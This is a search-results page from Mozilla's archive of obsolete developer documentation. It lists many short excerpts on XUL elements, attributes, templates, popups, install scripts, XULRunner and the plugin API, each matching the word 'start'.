systems for user interfaces (rather than documents) and mechanisms for reordering content to allow the author to use good markup and appropriate layout. microsummaries in firefox and on the web - myk melez microsummaries are regularly-updated compilations of the most important and timely information on web pages. this talk demonstrates how firefox will incorporate microsummaries into its ui,
starting with bookmark labels. svg and canvas: graphics for web apps - vladimir vukićević this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding rich graphical capabilities to web applications. future browser graphics capabilities, both 2d and 3d, are also discussed. converging rich-client and web application development with mozilla xulrunner...
A XUL Bestiary - Archive of obsolete content
s specified after the chrome directory path, a file name with the same name as the package is assumed. in other words, a chrome url like the global pointer above picks up a file called global.css, and the help pointer above could also be written as chrome://help/content, because the name of the package itself is "help." viewing chromes other than mozilla's there is a special flag you can use to
start mozilla with some chrome other than the default. when you invoke mozilla from the command line with the -chrome flag, you can specify a chrome just as you would in the previous example: mozilla -chrome chrome://help/content/help.xul brings up the help package mentioned in the previous example as a "stand-alone" chrome. this special option allows you to create and access chromes independent of ...
align - Archive of obsolete content
the align attribute specifies how child elements of the box are aligned, when the size of the box is larger than the total size of the children. for boxes that have horizontal orientation, it specifies how its children will be aligned vertically. for boxes that have vertical orientation, it specifies how its children will be aligned horizontally.
start child elements are aligned
starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. center extra space is split equally along each side of the child elements, resulting in the children being placed in the center of the box. end ...
pack - Archive of obsolete content
s larger that the size of the children. for boxes with horizontal orientation, it is used to indicate the position of children horizontally. for boxes with vertical orientation, it is used to indicate the position of children vertically. the align attribute is used to specify the position in the opposite direction. you can also specify the value of pack using the style property -moz-box-pack.
start child elements are placed
starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. center extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box. end child elements are placed on the right or bottom edge of the b...
panel.flip - Archive of obsolete content
w popups, however, being able to flip horizontally makes sense. this attribute, set to both, permits that behavior. you will not normally have to use this attribute, since it's automatically applied to arrow panels. an arrow panel can also specify a value of slide, which causes the arrow to "slide" instead of flipping when the panel doesn't have room. a sliding panel will have the
start (or end) position extended such that the panel can be the requested size, meaning the arrow will no longer be at the
start (or end) of the panel - i.e., the arrow will appear to have been slid along the panel to ensure the arrow is still pointing at the anchor. in this image, the panel has flip="slide" and has a width which is greater than the distance from the anchor to the right ...
popup.position - Archive of obsolete content
of the popup (the second word). the anchor value (ie, the first word) can be one of topleft, topright, bottomleft, bottomright, leftcenter, rightcenter, topcenter or bottomcenter. the popup value (ie, the second word) can be one of topleft, topright, bottomleft or bottomright. positions specified as a single word string are shortcuts for the values above. valid single-word values are after_
start, after_end, before_
start, before_end, end_after, end_before,
start_after,
start_before, overlap, at_pointer or after_pointer. for more details, including examples, please see popup positioning see also position ...
timeout - Archive of obsolete content
« xul reference home timeout type: integer for autocomplete textboxes, the number of milliseconds before the textbox
starts searching for completions. the default is 50 milliseconds. for search textboxes, the number of milliseconds before the timer fires a command event. the default is 500 milliseconds. for timed textboxes, the number of milliseconds before the timer fires a command event. there is no default. the timer
starts after the user types a character. if the user types another character, the timer resets. ...
width - Archive of obsolete content
isplayed at 40 pixels. the displayed width is also 40 pixels as no flexibility or alignment applies. <hbox> <hbox width="40" style="background-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label. <vbox width="30" align="
start" style="background-color: red;"> <label value="vbox xul width 10px red"/> </vbox> note: when used on treecol objects, the width attribute can be used to allow a tree to be scrolled horizontally if the column widths add up to be wider than the containing object. ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
calling removechild() method to remove the first child, until there are no children remaining. note, that haschildnodes() and firstchild are also part of the dom api. var element = document.getelementbyid("someelement"); while(element.haschildnodes()){ element.removechild(element.firstchild); } inserting menu items to a menu this example adds two new menu items to a <menupopup>: to the
start and to the end of it. it uses document.createelementns() method to create the items, and insertbefore() with appendchild() to insert the created xml elements within the document. note: document.createelementns() creates an element, but does not put it anywhere in the document. you need to use other dom methods, such as appendchild() to insert the newly created element in the document. append...
XUL Events - Archive of obsolete content
dragexit this event is sent when the mouse pointer moves away from an element during a drag. it is also called after a drop on an element. it is similar to the mouseout event but occurs during a drag. attribute: ondragexit draggesture this event is sent when the user
starts dragging the element, usually by holding down the mouse button and moving the mouse. attribute: ondraggesture dragover related to the mousemove event, this event is sent while something is being dragged over an element. the handler should indicate whether the object being dragged can be dropped. ...
getNextItem - Archive of obsolete content
« xul reference home getnextitem(
startitem, delta ) return type: element this method returns the item a given distance (delta) after the specified
startitem, or null if no such item exists. this example will return the item two rows after someitem: getnextitem ( someitem, 2 ); ...
getPreviousItem - Archive of obsolete content
« xul reference home getpreviousitem(
startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified
startitem, or null if no such item exists. this example will return the item five rows before someitem: getpreviousitem ( someitem, 5 ); ...
openPopup - Archive of obsolete content
an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same document as the popup. unanchored popups may be created by supplying null as the anchor node. the direction in which the popup is oriented depends on the direction of the anchor. position possible values for position are: before_
start, before_end, after_
start, after_end,
start_before,
start_after, end_before, end_after, overlap, and after_pointer. check positioning of the popup guide for a precise description of the effect of the different values. x, y for an anchored popup, the x and y arguments may be used to offset the popup from its anchored position by some number, measured in css pixels. an unanchored popup...
setSelectionRange - Archive of obsolete content
« xul reference home setselectionrange(
start, end ) return type: no return value sets the selected portion of the textbox, where the
start argument is the index of the first character to select and the end argument is the index of the character after the selection. set both arguments to the same value to move the cursor to the corresponding position without selecting text. ...
Methods - Archive of obsolete content
removecurrenttab removeitemat removeitemfromselection removenotification removeprogresslistener removesession removetab removetabsprogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto
startediting stop stopediting swapdocshells syncsessions timedselect toggleitemselection related dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatchevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagn...
MenuModification - Archive of obsolete content
used in a similar fashion to insert an item into the menu elsewhere. menu.insertitemat(0, "delete", "delete"); in this example, the insertitemat method is used to insert a new 'delete' item at the beginning of the menu's popup. the first argument is the index where the new item should be inserted. in this case, 0 is supplied as the index, which means before the first item. indicies are counted
starting at 0, so to insert an item before the fourth item pass 3 as the argument. the second and third arguments to insertitemat are the label and value for the new item, as with appenditem. both the appenditem and insertitemat methods return the new menuitem, so you can further modify it, for instance to add an access key, as in the following example: var item = menu.appenditem("insert", "insert");...
Menus - Archive of obsolete content
boxobject).activechild; where xulmenu is the menu, button, or toolbarbutton object. you can set the active item thusly so: xulmenu.boxobject.queryinterface(components.interfaces.nsimenuboxobject).activechild = item; when the active item is set this way, keyboard navigation will now continue from this point. setting activechild to null will deactivate all items, and keyboard navigation will
start from the top of the menu. it should be noted that setting the active item in this way will not affect the selected property or selected attribute of the previously and newly activated item. you must unset/set those explicity for each item affected, if you want them to be. for menulists, however, setting the selecteditem or selectedindex properties on the menu will automatically take care of th...
Special per-platform menu considerations - Archive of obsolete content
some menu items have specific common labels or locations where certain menu items would go that differ on each platform. for instance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu. the mac application menu on the macintosh, an extra menu exists beside the file menu; its name is the same as the name of the application. ...
selectionEnd - Archive of obsolete content
« xul reference selectionend type: integer get or set the end of the selected portion of the field's text. use in conjuction with the selection
start property. the value specifies the index of the character after the selection. if this value is equal to the value of the selection
start property, no text is selected, but the value indicates the position of the caret (cursor) within the textbox. ...
Property - Archive of obsolete content
y radiogroup readonly readonly ref resource resultspopup scrollboxobject scrollincrement scrollheight scrollwidth searchbutton searchcount searchlabel searchparam searchsessions second secondleadingzero securityui selected selectedbrowser selectedcount selectedindex selecteditem selecteditems selectedpanel selectedtab selectionend selection
start selstyle seltype sessioncount sessionhistory showcommentcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling tabpanels tag textlength textvalue timeout title toolbarname toolbarset tooltip tooltiptext top treeboxob...
Building Hierarchical Trees - Archive of obsolete content
ource, this will usually be an rdf seq), or use the containment attribute to specify additional properties that indicate containership. if a particular photo had a value for one of the properties listed in the containment attribute, it would be accepted as a container, and the user could open the row. when the user opens the row, the template will be re-examined for results using the photo as the
starting point instead of the top level ref value. here is an example for the streets datasource: <tree flex="1" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <treecols> <treecol id="address" primary="true" label="address" flex="1"/> <treecol id="floor...
SQLite Templates - Archive of obsolete content
ontaining the values in one column in a database table. <listbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name from myfriends </query> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the query returns the list of values from the 'name' column in the table 'myfriends'. the action body,
starting at the node with uri="?" is repeated for each result returned from the query. if the query returns six results, six listitems will be generated. the labels have the special value '?name'. the syntax with the question mark is similar as with the other query types. it means, substitute the attribute value with the value of a column from the result. in this case, '?name' means replace this with t...
Simple Query Syntax - Archive of obsolete content
ually used in this situation since it avoids extra tags, although the simple syntax is not more or less efficient, at least when a single query is involved. a simple query is equivalent to a query with only the content tag and a member tag, as well as optionally a set of triples from the child node. at its simplest, the simple query syntax is equivalent to the following: <query> <content uri="?
start"/> <member container="?
start" child="?photo"/> </query> the template builder uses the simple query syntax whenever a template does not have a <query> element. if a <query> element is present, the full syntax is used instead. in the simple syntax, the builder will use the default query shown above, although the variable names are randomly generated. since the photos list iterates over the child...
Sorting Results - Archive of obsolete content
lar order. when the reference node is an rdf seq container and the results are in that container, however, the template builder orders the results in the order the items appear in the seq. for instance, the photos are listed in the same order in this example as they appear in the seq in the datasource. this method of sorting a seq works best for the simple query syntax since it is obvious how the
starting ref relates to the end member results (they are just the children), or for extended syntax queries that follow a similar pattern. for more complex queries, this natural sorting will not work, because the sort service assumes that the
starting ref resource is the container and the end results are the children. in this case, the natural order of the results will just be the order that the templa...
Template Builder Interface - Archive of obsolete content
resh(); this will reload the datasource attached to the template. if there is more than one datasource, as above, all of them will be reloaded. due to the nature of the way templates are updated, you don't usually need to rebuild a template after a refresh call, although there may situtations where this will be necessary. if you do plan on determining the datasources dynamically, it is common to
start with an empty datasource using the special uri 'rdf:null'. <tree datasources="rdf:null" ref="http://www.xulplanet.com/rdf/myphotos"> this will create a composite datasource with no datasources in it. this syntax is necessary as otherwise you wouldn't be able to specify a value for the datasources attribute, and a template builder would not be attached to the element. in a chrome context, the dat...
The Joy of XUL - Archive of obsolete content
la's xml-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected from the internet. these applications are easily customized with alternative text, graphics, and layout so they can be readily branded or localized for various markets. web developers already familiar with dynamic html (dhtml) will learn xul quickly and can
start building applications right away. also described are some reasons application developers might choose to leverage xul and mozilla technology for building cross-platform applications. this same investigation will provide sufficient explanation of mozilla's motivation to build xul and why the mozilla platform is constructed using it. the key features and benefits of xul will be explored followed b...
Code Samples - Archive of obsolete content
const name = "calendarmainwindow" const uri = "chrome://calendar/content/" * at the time of writing, sunbird's passwords window is broken close the current window to close the window containing the button, possibly leaving other windows open: close() exit the application to exit the application, first closing all its windows: components .classes['@mozilla.org/toolkit/app-
startup;1'] .getservice(components.interfaces.nsiapp
startup) .quit(components.interfaces.nsiapp
startup.eattemptquit) ...
Adding Event Handlers - Archive of obsolete content
ul, unless you have a reason to have an element that can only be handled with a mouse. in addition, whereas the command event will not be sent if an element is disabled, the click event will be sent regardless of whether the element is disabled or not. our find files example a command handler can be placed on the find and cancel buttons in the find files dialog. pressing the find button should
start the search. because we aren't going to implement this part yet, we'll leave it out for now. however, pressing the cancel button should close the window. the code below shows how to do this. while we're at it, let's add the same code to the close menu item. <menuitem label="close" accesskey="c" oncommand="window.close();"/> ... <button id="cancel-button" label="cancel" oncommand="window.clo...
Adding Methods to XBL-defined Elements - Archive of obsolete content
num2; else return num1; } xbl: <method name="getmaximum"> <parameter name="num1"/> <parameter name="num2"/> <body> if (num1 <= num2) return num2; else return num1; </body> </method> this function, getmaximum, returns the largest of the values, each passed as a parameter to the method. note that the less-than symbol has to be escaped because otherwise it would look like the
start of a tag. you can also use a cdata section to escape the entire block of code. you can call the method by using code such as element.getmaximum(5, 10) where element is a reference to an element defined by the xbl containing the getmaximum method. (the bound element.) the parameter tag allows you to define parameters for a method. because mozilla uses javascript as its scripting language, and jav...
Advanced Rules - Archive of obsolete content
o display a row in a tree for each city. to do this, use the member element as in the following: <tree id="citiestree" datasources="weather.rdf" ref="http://www.xulplanet.com/rdf/weather/cities"> <template> <rule> <conditions> <content uri="?list"/> <member container="?list" child="?city"/> </conditions> <rule> <template> </tree> the template builder
starts by grabbing the value of the ref attribute, which in this case is http://www.xulplanet.com/rdf/weather/cities. this resource will be placed in the 'list' variable as specified by the content tag. we can then get related resources to the root resource by using the 'list' variable. the template builder then sees the member element. it causes the builder to iterate over the children of an element. ...
Commands - Archive of obsolete content
ork is handled for you. you can use a command for any operation. mozilla uses them for almost every menu command. in addition, text fields and other widgets have a number of commands which they already support that you can invoke. you should use them when the operation depends on which element is focused. a command is identified by its id attribute. mozilla uses the convention that command id's
start with 'cmd_'. you will probably want to use the same id if a command is already being used, however, for your own commands, you can use any command id you wish. to avoid conflicts, you may wish to include the application name in the command id. a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <...
Creating a Window - Archive of obsolete content
ul example let's begin by creating the basic file for the find file dialog. create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the previous section). add the xul template shown at the top of this page to the file and save it. you can use the command-line parameter '-chrome' to specify the xul file to open when mozilla
starts. if this is not specified, the default window will open. (usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/content/findfile.xul mozilla -chrome resource:/chrome/findfile/content/findfile.xul if you run this command from a command-line (assuming you have one on your platform), the find files dialog wi...
Creating an Installer - Archive of obsolete content
process. the file install.js is extracted from the install archive and executed. this script will call install functions which will indicate which files from the archive should be installed. once the script is complete, the new package has been installed. if multiple packages are being installed, their scripts will run in sequence. install triggers as indicated above, the install process is
started by an install trigger. this involves the use of the special global object installtrigger. it contains a number of methods which can be used to
start an installation. you can use this object in local or remote content, meaning that it is suitable for a download from a web site. let's create an example install trigger. this involves the use of the function installtrigger.install(). this function...
Custom Tree Views - Archive of obsolete content
u only need to implement the ones that the tree will call. three methods that you should implement are listed below. rowcount this property should be set to the total number of rows in the tree. getcelltext( row , column ) this method should return the text contents at the specified row and column. this will be called to display data for each cell. the rows are supplied as numeric values
starting at 0. the columns are treecolumn objects. in the older versions of mozilla (before firefox 1.5 or mozilla 1.8), the columns are supplied as the values of the id attribute on the columns. if you need a id attribute like older versions, the id property of treecolumn can be used. settree( tree ) this method is called once to set the tree element on the view. here is an example of defining suc...
Features of a Window - Archive of obsolete content
added to a window, the window's width expanded to fit the new elements. the window is really just a box which is flexible and defaults to vertical orientation. you can also specify the width and height directly on the window tag. this, of course, causes the window to be displayed in a specific size. if you leave it out, the size is determined by the elements that are in it. gecko 1.9.2 note
starting in gecko 1.9.2 (firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. that means the next time the window is opened, it will still open in the saved location. <window id="findfile-window" title="find files" width="400" height="450" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is...
Install Scripts - Archive of obsolete content
number of functions to customize the install process. some of the install object's functions will be described below. the install script should take the following steps: initialize the installation by specifying what package and version is being installed. use the install functions to indicate what files and directories need to be installed. you can also set files to be moved and deleted.
start the process of installing the necessary files. it is important to note that during step two, you only indicate which files should be installed and any other operations you wish to have happen. no files get copied until step three. because of this, you can easily specify a number of files to be installed, come across some kind of error, and abort the whole process without modifying the user's sys...
Modifying the Default Skin - Archive of obsolete content
ge: url("chrome://findfile/skin/images/check-on.jpg"); } this code changes the image associated with a checkbox. the first style sets the image for a normal checkbox and the second style sets the image for a checked checkbox. the modifier 'checked=true' makes the style only apply to elements which have their checked attributes set to true. see also : creating a skin for firefox and css getting
started in the next section, we will look at creating a new skin. « previousnext » ...
More Wizards - Archive of obsolete content
ourself. note that the goto() method, because it causes a page change, will fire the events again, so you'll have to make sure you handle that case. for example, here are a set of wizard pages (the inner content has been omitted): <wizardpage pageid="type" next="font"> <wizardpage pageid="font" next="done"> <wizardpage pageid="color" next="done"> <wizardpage pageid="done"> the wizard always
starts at the first page, which in this case has the page id type. the next page is the one with the page id font, so the wizard will navigate to that page next. on the page with the page id font, we can see that the next page is done, so that page will be displayed afterwards. the page with the page id done has no next attribute, so this will be the last page. a script will adjust the next attrib...
Splitters - Archive of obsolete content
do, the splitter will detect this and not allow the user to drag the splitter past the minimum and maximum sizes. for example, if you specified a minimum width of 30 pixels on panel 4 above, it would not shrink below that size. the other two panels would have to shrink. if you set the minimum width of panel 1 to 50 pixels, you would only be able to drag the splitter 10 pixels to the left (as it
starts at 60 pixels wide). you can still collapse the splitter however. you can also place more than one splitter in a box if you want, in which case you could collapse different parts of it. similarly, you do not have to collapse just iframes. any element can be collapsed. our find files example let's see what the find file dialog looks like with a splitter in it. one possibility would be to add t...
Stacks and Decks - Archive of obsolete content
window and use a deck where the content changes. like stacks, the direct children of the deck element form the pages of the deck. if there are three children of the deck element, the deck will have three children. the displayed page of the deck can be changed by setting an selectedindex attribute on the deck element. the index is a number that identifies which page to display. pages are numbered
starting from zero. so, the first child of the deck is page 0, the second is page 1 and so on. example 3 : source view <deck selectedindex="2"> <description value="this is the first page"/> <button label="this is the second page"/> <box> <description value="this is the third page"/> <button label="this is also the third page"/> </box> </deck> three pages exist here, the default bein...
Trees and Templates - Archive of obsolete content
odifieddate"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> here, a tree is created with two columns, for the name and date of a file. the tree should display a list of the files in the root directory. only one rule is used, but you may add others if needed. like with other templates, the uri attribute on an element indicates where to
start generating content. the two cells grab the name and date from the datasource and place the values in the cell labels. this example shows why the uri attribute becomes useful. notice how it has been placed on the treeitem in the example, even though it is not a direct descendant of the rule element. we need to put this attribute on only those elements that we want repeated for each resource. becau...
Using Spacers - Archive of obsolete content
flex of 1. this makes the spacer element stretchy. if you place a spacer directly inside a window, the spacer will grow in size when the size of the window is changed. we'll add a spacer to our find file dialog soon. first, let's take a look at what happens when the current dialog is resized. if you change the size of the find files window, you can see that the elements have remained where they
started. none of them have been moved or resized even though the window has more room in it. let's see what happens when a spacer is added between the text box and the find button. by adding a spacer and resizing the window, you can see that the spacer has expanded to fill the space. the buttons have been pushed over. our find file example the code to add a spacer is shown below. insert it just b...
XBL Example - Archive of obsolete content
odifies the label element so that it displays the current page index. the label element can be retrieved by getting the first element of anonymous content (the vertical box), the second child of that label element (the horizontal box), and then the second element of that box. the value attribute is changed to read '1 of 3' or something similar. note that one is added to the index because indicies
start at 0. constructor we will also need a constructor to initialize the label element so that it displays correctly when the slideshow is first displayed. we use similar code as to the method above to set the page number. the reference to 'this.page' will call the onget script of the page property, which in turn will retrieve the initial page from the selectedindex attribute. <constructor> var ...
XPCOM Interfaces - Archive of obsolete content
en as necessary. let's say we want to rename a file. for this we can use the nsilocalfile interface. the first step is getting a file component. second, we query the file component and get the portion of it that implements the nsilocalfile interface. finally, we call functions provided by the interface. this interface is used to represent a single file. we've seen that interfaces are often named
starting with 'nsi' or 'mozi'. components, however, are referred to using a uri like string. mozilla stores a list of all the components that are available in its own registry. a particular user can install new components as needed. it works much like plug-ins. mozilla provides a file component, that is, a component that implements nsilocalfile. this component can be referred to using the string '@moz...
XUL Structure - Archive of obsolete content
chrome urls may be used to access installed packages and open them with enhanced privileges. html, xml, and xul each have a different document type. some features may be used in any document type whereas some features are specific to one kind of document. the next few sections describe the basic structure of a chrome package which can be installed into mozilla. however, if you just want to get
started building a simple application, you may skip ahead to creating a window and save this section for later. package organization mozilla is organized such that you can have as many components as you want pre-installed. each extension is something of a standalone component with a separate chrome url. mozilla also has one component for each installed theme and locale. each of these components, or p...
Using nsIXULAppInfo - Archive of obsolete content
this is useful, for example, for extensions that support several mozilla-based applications or several versions of a single application. this is not useful for scripts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection. nsixulappinfo interface to distinguish between different mozilla-based applications, use the frozen nsixulappinfo interface. the following sections provide a few examples of using nsixulappinfo from javascript. ...
Using spell checking in XUL - Archive of obsolete content
this document describes how to use the mozispellcheckingengine component to add spell checking capabilities to your firefox extension. see controlling spell checking in html forms for details on adding spell check support to html forms for your website. checking the spelling of a word to check the spelling of a word, you must first create an interface to the mozispellcheckingengine component and then call the check() method on the string you wish to test. this method returns true if the word is correctly spelled, or false if it's not. ...
XUL Parser in Python/source - Archive of obsolete content
er in python. import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc. ...
XUL Reference - Archive of obsolete content
icationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale script scrollbar scrollbox scrollcorner separator spacer spinbuttons splitter stack statusbar statusbarpanel stringbundle stringbundleset tab tabbrowser (firefox-only
starting with firefox 3/gecko 1.9) tabbox tabpanel tabpanels tabs template textnode textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip tree treecell treechildren treecol treecols treeitem treerow trees...
XML - Archive of obsolete content
case. all of the events and attributes -- even the javascript event listeners normally formatted in the javascript world with uppercase verbs (e.g., onclick, onload) -- must be lowercase or they are invalid. all strings must be double quoted. all of the values for all of the attributes declared in xul are strings. when an attribute is assigned a value (e.g., flex="1" or "onload='dointeresting
startupthing()'") that value must be double-quoted. every xul widget must use close tags to be well-formed. html allows some elements, such as <br> and <hr>, to be neither closed nor matched with a closing element. in xul, elements must either be of the form <tag></tag> or <tag/> to be valid. for example, <html:img src="box.gif" /> is valid, but <html:img src="box.gif"> is not. all attributes m...
attribute.align - Archive of obsolete content
at have horizontal orientation, it specifies how its children will be aligned vertically. for boxes that have vertical orientation, it is used to specify how its children are algined horizontally. the pack attribute is related to the alignment but is used to specify the position in the opposite direction. you can also specify the value of align using the style property -moz-box-align. parameters
start child elements are aligned
starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. center extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box. end child elements are placed on the right or bottom edge of the box. if ...
preferences - Archive of obsolete content
lnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related preferences system documentation: introduction: getting
started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes ...
radiogroup - Archive of obsolete content
checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it. if the argument dir is true, the next radio button is selected. if it is false, the previous radio button is selected. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered
starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. removeitemat( index ) ...
tabbrowser - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used for holding a set of read-only views of web documents. it is similar to the browser element, except that multiple documents can be displayed, each in a separate tab. note:
starting in firefox 3 (xulrunner/gecko 1.9), this is only used in the main firefox window and cannot be used in other xul windows by third-party applications or extensions. attributes autocompleteenabled, autocompletepopup, autoscroll, contentcontextmenu, contenttooltip, handlectrlpageupdown, onbookmarkgroup, onnewtab, tabmodalpromptshowing properties browsers, cangoback, cangoforward, contentdocument, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documen...
tabs - Archive of obsolete content
l wrap around when the first or last tab is reached. appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered
starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. removeitemat( index ) ...
toolbar - Archive of obsolete content
pends on the toolbar flag when opening the window with the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() method. more information is available in the xul tutorial. note:
starting in gecko 1.9.1, toolbar items are moved from the toolbarpalette and added to the toolbar when a toolbar is first displayed. in earlier versions, a copy of each item was created and placed on the toolbar. this means that the palette now only contains items not already in the toolbar. this introduces a potential compatibility problem for extensions that depend on being able to identify all possi...
where - Archive of obsolete content
below the type of comparison to perform. equals the subject and value must match exactly. less the numeric value of the subject must be less than the value greater the numeric value of the subject must be greater than the value before the string value of subject must come before value alphabetically after the string value of subject must come after value alphabetically
startswith the value of subject must
start with the value endswith the value of subject must end with the value contains the value of subject must contain the value as a substring subject type: string the variable or string to compare. value type: string the value to compare. inherited from xul element align, allowevents, allownegativeassertions, class, coalescedup...
XUL - Archive of obsolete content
xul tutorial a guided tutorial that will help you get
started with xul, originally from xulplanet. xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox. the term xul is sometimes used to refer to the whole mozilla platform (e.g. xul applications are applications using xul and other components of the platform). xul controls lists some of the common controls provided by xul. documentation xul tutorial a guided tutorial that will help you get
started with xul, originally from xulplanet. xul reference xul elements, attributes, properties, methods, and event han...
XULRunner FAQ - Archive of obsolete content
privately with each application. see deploying xulrunner 1.8 for more information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to
start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel. ...
MacFAQ - Archive of obsolete content
use "menu_preferences" as the id for your options/preferences menu item toolbars mac windows have a small "jelly bean" button in the top right corner. this button is used to show/hide the toolbar. the toolkit will automatically enable this behavior if you add class="chromeclass-toolbar" to your <toolbar> element. commandline support commandline handlers work great on the mac if it's a cold
start. here's how to implement command-line trapping when the app is already running, without getting into appleevents or c++ code. this is implemented in a pseudo "hidden window" technique and parsing the window arguments instead of command-line handlers and some of the toolkit singleton window code. taking advantage of the core code "openurl" from "nscommandlineservicemac.cpp", you'll see that it lo...
Make your xulrunner app match the system locale - Archive of obsolete content
may not work for you in all cases. please update if there are more correct ways to do this. the first step is to get the code we're about to write to run before any of the locale specific resources are loaded. democracy does this by creating a command line handler called democracyclh, and then creating a new object of our pybridge component. the code described lives in the pybridge component's on
startup method which gets called automatically. the second step is to figure out the system locale. to be finished later. then set the locale preference. the following is python code to set this preference. from xpcom import components ps_cls = components.classes["@mozilla.org/preferences-service;1"] ps = ps_cls.getservice(components.interfaces.nsiprefservice) branch = ps.getbranch("general.useragent.
XUL Application Packaging - Archive of obsolete content
ry components, minversion must equal the version of the libxul sdk which is used to build the application. required example: minversion=1.8 maxversion specify the maximum xulrunner version needed by this application. optional - default value is any xulrunner less than xulrunner 2 example: maxversion=1.8.0.* the [xre] section the xre section specifies various features of xulrunner
startup that can be enabled enableextensionmanager specifies whether to enable extensions and extension management. legal values are 1 and 0. optional - default is 0 note: this option does not add menu items that make the extension/theme manager available in the ui; that is the responsibility of the application author. example: enableextensionmanager=1 enableprofilemigrator speci...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 20 - october 27, 2006 announcements calendar test day october 31st a test date has been set for october 31st. more information can be found here. discussions importing outlook address files a discussion was
started to attempt the export of outlook datae from ms outlook. storage calendar optimization a general discussion on optimization of widgets, java and the core of calendar's database. meetings no meetings were scheduled this week. authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 3 - november 10, 2006 announcements calendar-qa team announces november 14th testday calendar-qa team celebrate some new functionality of calendar. discussions hunting down the "sunbird fails to
start" bug -- please help discussion about a crash when
starting sunbird 0.2. calendar:improving the calendar views discussion about improving the layout of calendar. next steps for 24 hours view discussion about the improving of some features of calendar ex. configurable
start/end hours, optimal size of grid boxes in 24 hours view. meetings no meetings were scheduled this week. authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
NPByteRange - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary represents a particular range of bytes from a stream. syntax typedef struct _npbyterange { int32 offset; /* negative offset = from the end */ uint32 length; struct _npbyterange* next; } npbyterange; fields the data structure has the following fields: offset offset in bytes to the
start of the requested range. this value may be either positive or negative: positive value: offset from the beginning of the stream. negative value: offset from the end of the stream. length number of bytes to fetch from the specified offset. next points to the next npbyterange request in the list of requests, or null if this is the last request. description the plug-in seeks within a stream by building a linked list of ...
NPEvent - Archive of obsolete content
7 diskevt 8 activateevt 15 osevt 23 khighlevelevent getfocusevent 0, 1 (true, false) losefocusevent adjustcursorevent 0, 1 (true, false) for information about these events, see the mac os developer documentation. message longint. additional information about the event. type of information depends on the event type. undefined for null, mouseup, and mousedown events. when longint. ticks since
